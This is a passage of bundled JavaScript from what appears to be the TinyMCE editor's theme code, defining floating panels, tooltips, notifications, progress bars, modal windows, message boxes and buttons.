              self.layoutRect().y -= viewport.y;
            } else {
              self.layoutRect().y += viewport.y;
            }
          }
          self.classes.toggle('fixed', state);
          self.state.set('fixed', state);
        }
        return self;
      },
      show: function () {
        var self = this;
        var i;
        var state = self._super();
        i = visiblePanels.length;
        while (i--) {
          if (visiblePanels[i] === self) {
            break;
          }
        }
        if (i === -1) {
          visiblePanels.push(self);
        }
        return state;
      },
      hide: function () {
        removeVisiblePanel(this);
        addRemove(false, this);
        return this._super();
      },
      hideAll: function () {
        FloatPanel.hideAll();
      },
      close: function () {
        var self = this;
        if (!self.fire('close').isDefaultPrevented()) {
          self.remove();
          addRemove(false, self);
        }
        return self;
      },
      remove: function () {
        removeVisiblePanel(this);
        this._super();
      },
      postRender: function () {
        var self = this;
        if (self.settings.bodyRole) {
          this.getEl('body').setAttribute('role', self.settings.bodyRole);
        }
        return self._super();
      }
    });
    FloatPanel.hideAll = function () {
      var i = visiblePanels.length;
      while (i--) {
        var panel = visiblePanels[i];
        if (panel && panel.settings.autohide) {
          panel.hide();
          visiblePanels.splice(i, 1);
        }
      }
    };
    function removeVisiblePanel(panel) {
      var i;
      i = visiblePanels.length;
      while (i--) {
        if (visiblePanels[i] === panel) {
          visiblePanels.splice(i, 1);
        }
      }
      i = zOrder.length;
      while (i--) {
        if (zOrder[i] === panel) {
          zOrder.splice(i, 1);
        }
      }
    }

    var isFixed$1 = function (inlineToolbarContainer, editor) {
      return !!(inlineToolbarContainer && !editor.settings.ui_container);
    };
    var render$1 = function (editor, theme, args) {
      var panel, inlineToolbarContainer;
      var DOM = global$3.DOM;
      var fixedToolbarContainer = getFixedToolbarContainer(editor);
      if (fixedToolbarContainer) {
        inlineToolbarContainer = DOM.select(fixedToolbarContainer)[0];
      }
      var reposition = function () {
        if (panel && panel.moveRel && panel.visible() && !panel._fixed) {
          var scrollContainer = editor.selection.getScrollContainer(), body = editor.getBody();
          var deltaX = 0, deltaY = 0;
          if (scrollContainer) {
            var bodyPos = DOM.getPos(body), scrollContainerPos = DOM.getPos(scrollContainer);
            deltaX = Math.max(0, scrollContainerPos.x - bodyPos.x);
            deltaY = Math.max(0, scrollContainerPos.y - bodyPos.y);
          }
          panel.fixed(false).moveRel(body, editor.rtl ? [
            'tr-br',
            'br-tr'
          ] : [
            'tl-bl',
            'bl-tl',
            'tr-br'
          ]).moveBy(deltaX, deltaY);
        }
      };
      var show = function () {
        if (panel) {
          panel.show();
          reposition();
          DOM.addClass(editor.getBody(), 'mce-edit-focus');
        }
      };
      var hide = function () {
        if (panel) {
          panel.hide();
          FloatPanel.hideAll();
          DOM.removeClass(editor.getBody(), 'mce-edit-focus');
        }
      };
      var render = function () {
        if (panel) {
          if (!panel.visible()) {
            show();
          }
          return;
        }
        panel = theme.panel = global$4.create({
          type: inlineToolbarContainer ? 'panel' : 'floatpanel',
          role: 'application',
          classes: 'tinymce tinymce-inline',
          layout: 'flex',
          direction: 'column',
          align: 'stretch',
          autohide: false,
          autofix: true,
          fixed: isFixed$1(inlineToolbarContainer, editor),
          border: 1,
          items: [
            hasMenubar(editor) === false ? null : {
              type: 'menubar',
              border: '0 0 1 0',
              items: Menubar.createMenuButtons(editor)
            },
            Toolbar.createToolbars(editor, getToolbarSize(editor))
          ]
        });
        UiContainer.setUiContainer(editor, panel);
        Events.fireBeforeRenderUI(editor);
        if (inlineToolbarContainer) {
          panel.renderTo(inlineToolbarContainer).reflow();
        } else {
          panel.renderTo().reflow();
        }
        A11y.addKeys(editor, panel);
        show();
        ContextToolbars.addContextualToolbars(editor);
        editor.on('nodeChange', reposition);
        editor.on('ResizeWindow', reposition);
        editor.on('activate', show);
        editor.on('deactivate', hide);
        editor.nodeChanged();
      };
      editor.settings.content_editable = true;
      editor.on('focus', function () {
        if (isSkinDisabled(editor) === false && args.skinUiCss) {
          DOM.styleSheetLoader.load(args.skinUiCss, render, render);
        } else {
          render();
        }
      });
      editor.on('blur hide', hide);
      editor.on('remove', function () {
        if (panel) {
          panel.remove();
          panel = null;
        }
      });
      if (isSkinDisabled(editor) === false && args.skinUiCss) {
        DOM.styleSheetLoader.load(args.skinUiCss, SkinLoaded.fireSkinLoaded(editor));
      } else {
        SkinLoaded.fireSkinLoaded(editor)();
      }
      return {};
    };
    var Inline = { render: render$1 };

    function Throbber (elm, inline) {
      var self = this;
      var state;
      var classPrefix = Control$1.classPrefix;
      var timer;
      self.show = function (time, callback) {
        function render() {
          if (state) {
            global$9(elm).append('<div class="' + classPrefix + 'throbber' + (inline ? ' ' + classPrefix + 'throbber-inline' : '') + '"></div>');
            if (callback) {
              callback();
            }
          }
        }
        self.hide();
        state = true;
        if (time) {
          timer = global$7.setTimeout(render, time);
        } else {
          render();
        }
        return self;
      };
      self.hide = function () {
        var child = elm.lastChild;
        global$7.clearTimeout(timer);
        if (child && child.className.indexOf('throbber') !== -1) {
          child.parentNode.removeChild(child);
        }
        state = false;
        return self;
      };
    }

    var setup = function (editor, theme) {
      var throbber;
      editor.on('ProgressState', function (e) {
        throbber = throbber || new Throbber(theme.panel.getEl('body'));
        if (e.state) {
          throbber.show(e.time);
        } else {
          throbber.hide();
        }
      });
    };
    var ProgressState = { setup: setup };

    var renderUI = function (editor, theme, args) {
      var skinUrl = getSkinUrl(editor);
      if (skinUrl) {
        args.skinUiCss = skinUrl + '/skin.min.css';
        editor.contentCSS.push(skinUrl + '/content' + (editor.inline ? '.inline' : '') + '.min.css');
      }
      ProgressState.setup(editor, theme);
      return isInline(editor) ? Inline.render(editor, theme, args) : Iframe.render(editor, theme, args);
    };
    var Render = { renderUI: renderUI };

    var Tooltip = Control$1.extend({
      Mixins: [Movable],
      Defaults: { classes: 'widget tooltip tooltip-n' },
      renderHtml: function () {
        var self = this, prefix = self.classPrefix;
        return '<div id="' + self._id + '" class="' + self.classes + '" role="presentation">' + '<div class="' + prefix + 'tooltip-arrow"></div>' + '<div class="' + prefix + 'tooltip-inner">' + self.encode(self.state.get('text')) + '</div>' + '</div>';
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:text', function (e) {
          self.getEl().lastChild.innerHTML = self.encode(e.value);
        });
        return self._super();
      },
      repaint: function () {
        var self = this;
        var style, rect;
        style = self.getEl().style;
        rect = self._layoutRect;
        style.left = rect.x + 'px';
        style.top = rect.y + 'px';
        style.zIndex = 65535 + 65535;
      }
    });

    var Widget = Control$1.extend({
      init: function (settings) {
        var self = this;
        self._super(settings);
        settings = self.settings;
        self.canFocus = true;
        if (settings.tooltip && Widget.tooltips !== false) {
          self.on('mouseenter', function (e) {
            var tooltip = self.tooltip().moveTo(-65535);
            if (e.control === self) {
              var rel = tooltip.text(settings.tooltip).show().testMoveRel(self.getEl(), [
                'bc-tc',
                'bc-tl',
                'bc-tr'
              ]);
              tooltip.classes.toggle('tooltip-n', rel === 'bc-tc');
              tooltip.classes.toggle('tooltip-nw', rel === 'bc-tl');
              tooltip.classes.toggle('tooltip-ne', rel === 'bc-tr');
              tooltip.moveRel(self.getEl(), rel);
            } else {
              tooltip.hide();
            }
          });
          self.on('mouseleave mousedown click', function () {
            self.tooltip().remove();
            self._tooltip = null;
          });
        }
        self.aria('label', settings.ariaLabel || settings.tooltip);
      },
      tooltip: function () {
        if (!this._tooltip) {
          this._tooltip = new Tooltip({ type: 'tooltip' });
          UiContainer.inheritUiContainer(this, this._tooltip);
          this._tooltip.renderTo();
        }
        return this._tooltip;
      },
      postRender: function () {
        var self = this, settings = self.settings;
        self._super();
        if (!self.parent() && (settings.width || settings.height)) {
          self.initLayoutRect();
          self.repaint();
        }
        if (settings.autofocus) {
          self.focus();
        }
      },
      bindStates: function () {
        var self = this;
        function disable(state) {
          self.aria('disabled', state);
          self.classes.toggle('disabled', state);
        }
        function active(state) {
          self.aria('pressed', state);
          self.classes.toggle('active', state);
        }
        self.state.on('change:disabled', function (e) {
          disable(e.value);
        });
        self.state.on('change:active', function (e) {
          active(e.value);
        });
        if (self.state.get('disabled')) {
          disable(true);
        }
        if (self.state.get('active')) {
          active(true);
        }
        return self._super();
      },
      remove: function () {
        this._super();
        if (this._tooltip) {
          this._tooltip.remove();
          this._tooltip = null;
        }
      }
    });

    var Progress = Widget.extend({
      Defaults: { value: 0 },
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.classes.add('progress');
        if (!self.settings.filter) {
          self.settings.filter = function (value) {
            return Math.round(value);
          };
        }
      },
      renderHtml: function () {
        var self = this, id = self._id, prefix = this.classPrefix;
        return '<div id="' + id + '" class="' + self.classes + '">' + '<div class="' + prefix + 'bar-container">' + '<div class="' + prefix + 'bar"></div>' + '</div>' + '<div class="' + prefix + 'text">0%</div>' + '</div>';
      },
      postRender: function () {
        var self = this;
        self._super();
        self.value(self.settings.value);
        return self;
      },
      bindStates: function () {
        var self = this;
        function setValue(value) {
          value = self.settings.filter(value);
          self.getEl().lastChild.innerHTML = value + '%';
          self.getEl().firstChild.firstChild.style.width = value + '%';
        }
        self.state.on('change:value', function (e) {
          setValue(e.value);
        });
        setValue(self.state.get('value'));
        return self._super();
      }
    });

    var updateLiveRegion = function (ctx, text) {
      ctx.getEl().lastChild.textContent = text + (ctx.progressBar ? ' ' + ctx.progressBar.value() + '%' : '');
    };
    var Notification = Control$1.extend({
      Mixins: [Movable],
      Defaults: { classes: 'widget notification' },
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.maxWidth = settings.maxWidth;
        if (settings.text) {
          self.text(settings.text);
        }
        if (settings.icon) {
          self.icon = settings.icon;
        }
        if (settings.color) {
          self.color = settings.color;
        }
        if (settings.type) {
          self.classes.add('notification-' + settings.type);
        }
        if (settings.timeout && (settings.timeout < 0 || settings.timeout > 0) && !settings.closeButton) {
          self.closeButton = false;
        } else {
          self.classes.add('has-close');
          self.closeButton = true;
        }
        if (settings.progressBar) {
          self.progressBar = new Progress();
        }
        self.on('click', function (e) {
          if (e.target.className.indexOf(self.classPrefix + 'close') !== -1) {
            self.close();
          }
        });
      },
      renderHtml: function () {
        var self = this;
        var prefix = self.classPrefix;
        var icon = '', closeButton = '', progressBar = '', notificationStyle = '';
        if (self.icon) {
          icon = '<i class="' + prefix + 'ico' + ' ' + prefix + 'i-' + self.icon + '"></i>';
        }
        notificationStyle = ' style="max-width: ' + self.maxWidth + 'px;' + (self.color ? 'background-color: ' + self.color + ';"' : '"');
        if (self.closeButton) {
          closeButton = '<button type="button" class="' + prefix + 'close" aria-hidden="true">\xD7</button>';
        }
        if (self.progressBar) {
          progressBar = self.progressBar.renderHtml();
        }
        return '<div id="' + self._id + '" class="' + self.classes + '"' + notificationStyle + ' role="presentation">' + icon + '<div class="' + prefix + 'notification-inner">' + self.state.get('text') + '</div>' + progressBar + closeButton + '<div style="clip: rect(1px, 1px, 1px, 1px);height: 1px;overflow: hidden;position: absolute;width: 1px;"' + ' aria-live="assertive" aria-relevant="additions" aria-atomic="true"></div>' + '</div>';
      },
      postRender: function () {
        var self = this;
        global$7.setTimeout(function () {
          self.$el.addClass(self.classPrefix + 'in');
          updateLiveRegion(self, self.state.get('text'));
        }, 100);
        return self._super();
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:text', function (e) {
          self.getEl().firstChild.innerHTML = e.value;
          updateLiveRegion(self, e.value);
        });
        if (self.progressBar) {
          self.progressBar.bindStates();
          self.progressBar.state.on('change:value', function (e) {
            updateLiveRegion(self, self.state.get('text'));
          });
        }
        return self._super();
      },
      close: function () {
        var self = this;
        if (!self.fire('close').isDefaultPrevented()) {
          self.remove();
        }
        return self;
      },
      repaint: function () {
        var self = this;
        var style, rect;
        style = self.getEl().style;
        rect = self._layoutRect;
        style.left = rect.x + 'px';
        style.top = rect.y + 'px';
        style.zIndex = 65535 - 1;
      }
    });

    function NotificationManagerImpl (editor) {
      var getEditorContainer = function (editor) {
        return editor.inline ? editor.getElement() : editor.getContentAreaContainer();
      };
      var getContainerWidth = function () {
        var container = getEditorContainer(editor);
        return funcs.getSize(container).width;
      };
      var prePositionNotifications = function (notifications) {
        each(notifications, function (notification) {
          notification.moveTo(0, 0);
        });
      };
      var positionNotifications = function (notifications) {
        if (notifications.length > 0) {
          var firstItem = notifications.slice(0, 1)[0];
          var container = getEditorContainer(editor);
          firstItem.moveRel(container, 'tc-tc');
          each(notifications, function (notification, index) {
            if (index > 0) {
              notification.moveRel(notifications[index - 1].getEl(), 'bc-tc');
            }
          });
        }
      };
      var reposition = function (notifications) {
        prePositionNotifications(notifications);
        positionNotifications(notifications);
      };
      var open = function (args, closeCallback) {
        var extendedArgs = global$2.extend(args, { maxWidth: getContainerWidth() });
        var notif = new Notification(extendedArgs);
        notif.args = extendedArgs;
        if (extendedArgs.timeout > 0) {
          notif.timer = setTimeout(function () {
            notif.close();
            closeCallback();
          }, extendedArgs.timeout);
        }
        notif.on('close', function () {
          closeCallback();
        });
        notif.renderTo();
        return notif;
      };
      var close = function (notification) {
        notification.close();
      };
      var getArgs = function (notification) {
        return notification.args;
      };
      return {
        open: open,
        close: close,
        reposition: reposition,
        getArgs: getArgs
      };
    }

    var windows = [];
    var oldMetaValue = '';
    function toggleFullScreenState(state) {
      var noScaleMetaValue = 'width=device-width,initial-scale=1.0,user-scalable=0,minimum-scale=1.0,maximum-scale=1.0';
      var viewport = global$9('meta[name=viewport]')[0], contentValue;
      if (global$8.overrideViewPort === false) {
        return;
      }
      if (!viewport) {
        viewport = domGlobals.document.createElement('meta');
        viewport.setAttribute('name', 'viewport');
        domGlobals.document.getElementsByTagName('head')[0].appendChild(viewport);
      }
      contentValue = viewport.getAttribute('content');
      if (contentValue && typeof oldMetaValue !== 'undefined') {
        oldMetaValue = contentValue;
      }
      viewport.setAttribute('content', state ? noScaleMetaValue : oldMetaValue);
    }
    function toggleBodyFullScreenClasses(classPrefix, state) {
      if (checkFullscreenWindows() && state === false) {
        global$9([
          domGlobals.document.documentElement,
          domGlobals.document.body
        ]).removeClass(classPrefix + 'fullscreen');
      }
    }
    function checkFullscreenWindows() {
      for (var i = 0; i < windows.length; i++) {
        if (windows[i]._fullscreen) {
          return true;
        }
      }
      return false;
    }
    function handleWindowResize() {
      if (!global$8.desktop) {
        var lastSize_1 = {
          w: domGlobals.window.innerWidth,
          h: domGlobals.window.innerHeight
        };
        global$7.setInterval(function () {
          var w = domGlobals.window.innerWidth, h = domGlobals.window.innerHeight;
          if (lastSize_1.w !== w || lastSize_1.h !== h) {
            lastSize_1 = {
              w: w,
              h: h
            };
            global$9(domGlobals.window).trigger('resize');
          }
        }, 100);
      }
      function reposition() {
        var i;
        var rect = funcs.getWindowSize();
        var layoutRect;
        for (i = 0; i < windows.length; i++) {
          layoutRect = windows[i].layoutRect();
          windows[i].moveTo(windows[i].settings.x || Math.max(0, rect.w / 2 - layoutRect.w / 2), windows[i].settings.y || Math.max(0, rect.h / 2 - layoutRect.h / 2));
        }
      }
      global$9(domGlobals.window).on('resize', reposition);
    }
    var Window = FloatPanel.extend({
      modal: true,
      Defaults: {
        border: 1,
        layout: 'flex',
        containerCls: 'panel',
        role: 'dialog',
        callbacks: {
          submit: function () {
            this.fire('submit', { data: this.toJSON() });
          },
          close: function () {
            this.close();
          }
        }
      },
      init: function (settings) {
        var self = this;
        self._super(settings);
        if (self.isRtl()) {
          self.classes.add('rtl');
        }
        self.classes.add('window');
        self.bodyClasses.add('window-body');
        self.state.set('fixed', true);
        if (settings.buttons) {
          self.statusbar = new Panel({
            layout: 'flex',
            border: '1 0 0 0',
            spacing: 3,
            padding: 10,
            align: 'center',
            pack: self.isRtl() ? 'start' : 'end',
            defaults: { type: 'button' },
            items: settings.buttons
          });
          self.statusbar.classes.add('foot');
          self.statusbar.parent(self);
        }
        self.on('click', function (e) {
          var closeClass = self.classPrefix + 'close';
          if (funcs.hasClass(e.target, closeClass) || funcs.hasClass(e.target.parentNode, closeClass)) {
            self.close();
          }
        });
        self.on('cancel', function () {
          self.close();
        });
        self.on('move', function (e) {
          if (e.control === self) {
            FloatPanel.hideAll();
          }
        });
        self.aria('describedby', self.describedBy || self._id + '-none');
        self.aria('label', settings.title);
        self._fullscreen = false;
      },
      recalc: function () {
        var self = this;
        var statusbar = self.statusbar;
        var layoutRect, width, x, needsRecalc;
        if (self._fullscreen) {
          self.layoutRect(funcs.getWindowSize());
          self.layoutRect().contentH = self.layoutRect().innerH;
        }
        self._super();
        layoutRect = self.layoutRect();
        if (self.settings.title && !self._fullscreen) {
          width = layoutRect.headerW;
          if (width > layoutRect.w) {
            x = layoutRect.x - Math.max(0, width / 2);
            self.layoutRect({
              w: width,
              x: x
            });
            needsRecalc = true;
          }
        }
        if (statusbar) {
          statusbar.layoutRect({ w: self.layoutRect().innerW }).recalc();
          width = statusbar.layoutRect().minW + layoutRect.deltaW;
          if (width > layoutRect.w) {
            x = layoutRect.x - Math.max(0, width - layoutRect.w);
            self.layoutRect({
              w: width,
              x: x
            });
            needsRecalc = true;
          }
        }
        if (needsRecalc) {
          self.recalc();
        }
      },
      initLayoutRect: function () {
        var self = this;
        var layoutRect = self._super();
        var deltaH = 0, headEl;
        if (self.settings.title && !self._fullscreen) {
          headEl = self.getEl('head');
          var size = funcs.getSize(headEl);
          layoutRect.headerW = size.width;
          layoutRect.headerH = size.height;
          deltaH += layoutRect.headerH;
        }
        if (self.statusbar) {
          deltaH += self.statusbar.layoutRect().h;
        }
        layoutRect.deltaH += deltaH;
        layoutRect.minH += deltaH;
        layoutRect.h += deltaH;
        var rect = funcs.getWindowSize();
        layoutRect.x = self.settings.x || Math.max(0, rect.w / 2 - layoutRect.w / 2);
        layoutRect.y = self.settings.y || Math.max(0, rect.h / 2 - layoutRect.h / 2);
        return layoutRect;
      },
      renderHtml: function () {
        var self = this, layout = self._layout, id = self._id, prefix = self.classPrefix;
        var settings = self.settings;
        var headerHtml = '', footerHtml = '', html = settings.html;
        self.preRender();
        layout.preRender(self);
        if (settings.title) {
          headerHtml = '<div id="' + id + '-head" class="' + prefix + 'window-head">' + '<div id="' + id + '-title" class="' + prefix + 'title">' + self.encode(settings.title) + '</div>' + '<div id="' + id + '-dragh" class="' + prefix + 'dragh"></div>' + '<button type="button" class="' + prefix + 'close" aria-hidden="true">' + '<i class="mce-ico mce-i-remove"></i>' + '</button>' + '</div>';
        }
        if (settings.url) {
          html = '<iframe src="' + settings.url + '" tabindex="-1"></iframe>';
        }
        if (typeof html === 'undefined') {
          html = layout.renderHtml(self);
        }
        if (self.statusbar) {
          footerHtml = self.statusbar.renderHtml();
        }
        return '<div id="' + id + '" class="' + self.classes + '" hidefocus="1">' + '<div class="' + self.classPrefix + 'reset" role="application">' + headerHtml + '<div id="' + id + '-body" class="' + self.bodyClasses + '">' + html + '</div>' + footerHtml + '</div>' + '</div>';
      },
      fullscreen: function (state) {
        var self = this;
        var documentElement = domGlobals.document.documentElement;
        var slowRendering;
        var prefix = self.classPrefix;
        var layoutRect;
        if (state !== self._fullscreen) {
          global$9(domGlobals.window).on('resize', function () {
            var time;
            if (self._fullscreen) {
              if (!slowRendering) {
                time = new Date().getTime();
                var rect = funcs.getWindowSize();
                self.moveTo(0, 0).resizeTo(rect.w, rect.h);
                if (new Date().getTime() - time > 50) {
                  slowRendering = true;
                }
              } else {
                if (!self._timer) {
                  self._timer = global$7.setTimeout(function () {
                    var rect = funcs.getWindowSize();
                    self.moveTo(0, 0).resizeTo(rect.w, rect.h);
                    self._timer = 0;
                  }, 50);
                }
              }
            }
          });
          layoutRect = self.layoutRect();
          self._fullscreen = state;
          if (!state) {
            self.borderBox = BoxUtils.parseBox(self.settings.border);
            self.getEl('head').style.display = '';
            layoutRect.deltaH += layoutRect.headerH;
            global$9([
              documentElement,
              domGlobals.document.body
            ]).removeClass(prefix + 'fullscreen');
            self.classes.remove('fullscreen');
            self.moveTo(self._initial.x, self._initial.y).resizeTo(self._initial.w, self._initial.h);
          } else {
            self._initial = {
              x: layoutRect.x,
              y: layoutRect.y,
              w: layoutRect.w,
              h: layoutRect.h
            };
            self.borderBox = BoxUtils.parseBox('0');
            self.getEl('head').style.display = 'none';
            layoutRect.deltaH -= layoutRect.headerH + 2;
            global$9([
              documentElement,
              domGlobals.document.body
            ]).addClass(prefix + 'fullscreen');
            self.classes.add('fullscreen');
            var rect = funcs.getWindowSize();
            self.moveTo(0, 0).resizeTo(rect.w, rect.h);
          }
        }
        return self.reflow();
      },
      postRender: function () {
        var self = this;
        var startPos;
        setTimeout(function () {
          self.classes.add('in');
          self.fire('open');
        }, 0);
        self._super();
        if (self.statusbar) {
          self.statusbar.postRender();
        }
        self.focus();
        this.dragHelper = new DragHelper(self._id + '-dragh', {
          start: function () {
            startPos = {
              x: self.layoutRect().x,
              y: self.layoutRect().y
            };
          },
          drag: function (e) {
            self.moveTo(startPos.x + e.deltaX, startPos.y + e.deltaY);
          }
        });
        self.on('submit', function (e) {
          if (!e.isDefaultPrevented()) {
            self.close();
          }
        });
        windows.push(self);
        toggleFullScreenState(true);
      },
      submit: function () {
        return this.fire('submit', { data: this.toJSON() });
      },
      remove: function () {
        var self = this;
        var i;
        self.dragHelper.destroy();
        self._super();
        if (self.statusbar) {
          this.statusbar.remove();
        }
        toggleBodyFullScreenClasses(self.classPrefix, false);
        i = windows.length;
        while (i--) {
          if (windows[i] === self) {
            windows.splice(i, 1);
          }
        }
        toggleFullScreenState(windows.length > 0);
      },
      getContentWindow: function () {
        var ifr = this.getEl().getElementsByTagName('iframe')[0];
        return ifr ? ifr.contentWindow : null;
      }
    });
    handleWindowResize();

    var MessageBox = Window.extend({
      init: function (settings) {
        settings = {
          border: 1,
          padding: 20,
          layout: 'flex',
          pack: 'center',
          align: 'center',
          containerCls: 'panel',
          autoScroll: true,
          buttons: {
            type: 'button',
            text: 'Ok',
            action: 'ok'
          },
          items: {
            type: 'label',
            multiline: true,
            maxWidth: 500,
            maxHeight: 200
          }
        };
        this._super(settings);
      },
      Statics: {
        OK: 1,
        OK_CANCEL: 2,
        YES_NO: 3,
        YES_NO_CANCEL: 4,
        msgBox: function (settings) {
          var buttons;
          var callback = settings.callback || function () {
          };
          function createButton(text, status, primary) {
            return {
              type: 'button',
              text: text,
              subtype: primary ? 'primary' : '',
              onClick: function (e) {
                e.control.parents()[1].close();
                callback(status);
              }
            };
          }
          switch (settings.buttons) {
          case MessageBox.OK_CANCEL:
            buttons = [
              createButton('Ok', true, true),
              createButton('Cancel', false)
            ];
            break;
          case MessageBox.YES_NO:
          case MessageBox.YES_NO_CANCEL:
            buttons = [
              createButton('Yes', 1, true),
              createButton('No', 0)
            ];
            if (settings.buttons === MessageBox.YES_NO_CANCEL) {
              buttons.push(createButton('Cancel', -1));
            }
            break;
          default:
            buttons = [createButton('Ok', true, true)];
            break;
          }
          return new Window({
            padding: 20,
            x: settings.x,
            y: settings.y,
            minWidth: 300,
            minHeight: 100,
            layout: 'flex',
            pack: 'center',
            align: 'center',
            buttons: buttons,
            title: settings.title,
            role: 'alertdialog',
            items: {
              type: 'label',
              multiline: true,
              maxWidth: 500,
              maxHeight: 200,
              text: settings.text
            },
            onPostRender: function () {
              this.aria('describedby', this.items()[0]._id);
            },
            onClose: settings.onClose,
            onCancel: function () {
              callback(false);
            }
          }).renderTo(domGlobals.document.body).reflow();
        },
        alert: function (settings, callback) {
          if (typeof settings === 'string') {
            settings = { text: settings };
          }
          settings.callback = callback;
          return MessageBox.msgBox(settings);
        },
        confirm: function (settings, callback) {
          if (typeof settings === 'string') {
            settings = { text: settings };
          }
          settings.callback = callback;
          settings.buttons = MessageBox.OK_CANCEL;
          return MessageBox.msgBox(settings);
        }
      }
    });

    function WindowManagerImpl (editor) {
      var open = function (args, params, closeCallback) {
        var win;
        args.title = args.title || ' ';
        args.url = args.url || args.file;
        if (args.url) {
          args.width = parseInt(args.width || 320, 10);
          args.height = parseInt(args.height || 240, 10);
        }
        if (args.body) {
          args.items = {
            defaults: args.defaults,
            type: args.bodyType || 'form',
            items: args.body,
            data: args.data,
            callbacks: args.commands
          };
        }
        if (!args.url && !args.buttons) {
          args.buttons = [
            {
              text: 'Ok',
              subtype: 'primary',
              onclick: function () {
                win.find('form')[0].submit();
              }
            },
            {
              text: 'Cancel',
              onclick: function () {
                win.close();
              }
            }
          ];
        }
        win = new Window(args);
        win.on('close', function () {
          closeCallback(win);
        });
        if (args.data) {
          win.on('postRender', function () {
            this.find('*').each(function (ctrl) {
              var name = ctrl.name();
              if (name in args.data) {
                ctrl.value(args.data[name]);
              }
            });
          });
        }
        win.features = args || {};
        win.params = params || {};
        win = win.renderTo(domGlobals.document.body).reflow();
        return win;
      };
      var alert = function (message, choiceCallback, closeCallback) {
        var win;
        win = MessageBox.alert(message, function () {
          choiceCallback();
        });
        win.on('close', function () {
          closeCallback(win);
        });
        return win;
      };
      var confirm = function (message, choiceCallback, closeCallback) {
        var win;
        win = MessageBox.confirm(message, function (state) {
          choiceCallback(state);
        });
        win.on('close', function () {
          closeCallback(win);
        });
        return win;
      };
      var close = function (window) {
        window.close();
      };
      var getParams = function (window) {
        return window.params;
      };
      var setParams = function (window, params) {
        window.params = params;
      };
      return {
        open: open,
        alert: alert,
        confirm: confirm,
        close: close,
        getParams: getParams,
        setParams: setParams
      };
    }

    var get = function (editor) {
      var renderUI = function (args) {
        return Render.renderUI(editor, this, args);
      };
      var resizeTo = function (w, h) {
        return Resize.resizeTo(editor, w, h);
      };
      var resizeBy = function (dw, dh) {
        return Resize.resizeBy(editor, dw, dh);
      };
      var getNotificationManagerImpl = function () {
        return NotificationManagerImpl(editor);
      };
      var getWindowManagerImpl = function () {
        return WindowManagerImpl();
      };
      return {
        renderUI: renderUI,
        resizeTo: resizeTo,
        resizeBy: resizeBy,
        getNotificationManagerImpl: getNotificationManagerImpl,
        getWindowManagerImpl: getWindowManagerImpl
      };
    };
    var ThemeApi = { get: get };

    var Layout = global$a.extend({
      Defaults: {
        firstControlClass: 'first',
        lastControlClass: 'last'
      },
      init: function (settings) {
        this.settings = global$2.extend({}, this.Defaults, settings);
      },
      preRender: function (container) {
        container.bodyClasses.add(this.settings.containerClass);
      },
      applyClasses: function (items) {
        var self = this;
        var settings = self.settings;
        var firstClass, lastClass, firstItem, lastItem;
        firstClass = settings.firstControlClass;
        lastClass = settings.lastControlClass;
        items.each(function (item) {
          item.classes.remove(firstClass).remove(lastClass).add(settings.controlClass);
          if (item.visible()) {
            if (!firstItem) {
              firstItem = item;
            }
            lastItem = item;
          }
        });
        if (firstItem) {
          firstItem.classes.add(firstClass);
        }
        if (lastItem) {
          lastItem.classes.add(lastClass);
        }
      },
      renderHtml: function (container) {
        var self = this;
        var html = '';
        self.applyClasses(container.items());
        container.items().each(function (item) {
          html += item.renderHtml();
        });
        return html;
      },
      recalc: function () {
      },
      postRender: function () {
      },
      isNative: function () {
        return false;
      }
    });

    var AbsoluteLayout = Layout.extend({
      Defaults: {
        containerClass: 'abs-layout',
        controlClass: 'abs-layout-item'
      },
      recalc: function (container) {
        container.items().filter(':visible').each(function (ctrl) {
          var settings = ctrl.settings;
          ctrl.layoutRect({
            x: settings.x,
            y: settings.y,
            w: settings.w,
            h: settings.h
          });
          if (ctrl.recalc) {
            ctrl.recalc();
          }
        });
      },
      renderHtml: function (container) {
        return '<div id="' + container._id + '-absend" class="' + container.classPrefix + 'abs-end"></div>' + this._super(container);
      }
    });

    var Button = Widget.extend({
      Defaults: {
        classes: 'widget btn',
        role: 'button'
      },
      init: function (settings) {
        var self = this;
        var size;
        self._super(settings);
        settings = self.settings;
        size = self.settings.size;
        self.on('click mousedown', function (e) {
          e.preventDefault();
        });
        self.on('touchstart', function (e) {
          self.fire('click', e);
          e.preventDefault();
        });
        if (settings.subtype) {
          self.classes.add(settings.subtype);
        }
        if (size) {
          self.classes.add('btn-' + size);
        }
        if (settings.icon) {
          self.icon(settings.icon);
        }
      },
      icon: function (icon) {
        if (!arguments.length) {
          return this.state.get('icon');
        }
        this.state.set('icon', icon);
        return this;
      },
      repaint: function () {
        var btnElm = this.getEl().firstChild;
        var btnStyle;
        if (btnElm) {
          btnStyle = btnElm.style;
          btnStyle.width = btnStyle.height = '100%';
        }
        this._super();
      },
      renderHtml: function () {
        var self = this, id = self._id, prefix = self.classPrefix;
        var icon = self.state.get('icon'), image;
        var text = self.state.get('text');
        var textHtml = '';
        var ariaPressed;
        var settings = self.settings;
        image = settings.image;
        if (image) {
          icon = 'none';
          if (typeof image !== 'string') {
            image = domGlobals.window.getSelection ? image[0] : image[1];
          }
          image = ' style="background-image: url(\'' + image + '\')"';
        } else {
          image = '';
        }
        if (text) {
          self.classes.add('btn-has-text');
          textHtml = '<span class="' + prefix + 'txt">' + self.encode(text) + '</span>';
        }
        icon = icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
        ariaPressed = typeof settings.active === 'boolean' ? ' aria-pressed="' + settings.active + '"' : '';
        return '<div id="' + id + '" class="' + self.classes + '" tabindex="-1"' + ariaPressed + '>' + '<button id="' + id + '-button" role="presentation" type="button" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + textHtml + '</button>' + '</div>';
      },
      bindStates: function () {
        var self = this, $ = self.$, textCls = self.classPrefix + 'txt';
        function setButtonText(text) {
          var $span = $('span.' + textCls, self.getEl());
          if (text) {
            if (!$span[0]) {
              $('button:first', self.getEl()).append('<span class="' + textCls + '"></span>');
              $span = $('span.' + textCls, self.getEl());
            }
            $span.html(self.encode(text));
          } else {
            $span.remove();
          }
          self.classes.toggle('btn-has-text', !!text);
        }
        self.state.on('change:text', function (e) {
          setButtonText(e.value);
        });
        self.state.on('change:icon', function (e) {
          var icon = e.value;
          var prefix = self.classPrefix;
          self.settings.icon = icon;
          icon = icon ? prefix + 'ico ' + prefix + 'i-' + self.settings.icon : '';
          var btnElm = self.getEl().firstChild;
